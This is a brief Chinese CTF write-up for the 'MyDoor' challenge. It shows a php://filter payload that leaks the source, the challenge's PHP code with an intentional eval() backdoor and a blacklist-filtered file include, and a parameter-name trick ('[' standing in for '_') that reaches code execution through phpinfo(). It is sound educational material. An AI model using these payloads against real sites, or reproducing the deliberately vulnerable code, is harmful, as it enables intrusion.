nssround ctf

MyDoor

 

一:信息收集

得到信息应该与rce 和 trick有关

 

2.解题,

(1)进入题目后发现上面有一个file参数

猜测可以文件读取,但是无法直接读取

这里利用PHP伪协议进行读取

payload : php://filter/convert.base64-encode/resource=index.php

 解密一下得到如下代码:发现get参数

N_S.S,然后可以通过这个传递参数
<?php
error_reporting(0);

if (isset($_GET['N_S.S'])) {
    eval($_GET['N_S.S']);
}

if(!isset($_GET['file'])) {
    header('Location:/index.php?file=');
} else {
    $file = $_GET['file'];

    if (!preg_match('/\.\.|la|data|input|glob|global|var|dict|gopher|file|http|phar|localhost|\?|\*|\~|zip|7z|compress/is', $file)) {
        include $file;
    } else {
        die('error.');
    }
}

但是这里使用

N_S.S 无法进行命令执行,测试后发现是_被过滤了 这里可以使用[替换

比较有趣的是flag在PHPinfo里面就找到了

payload :N[S.S=phpinfo();

 

posted @ 2023-05-20 22:18  小熊猫爱bamboo  阅读(91)  评论(0编辑  收藏  举报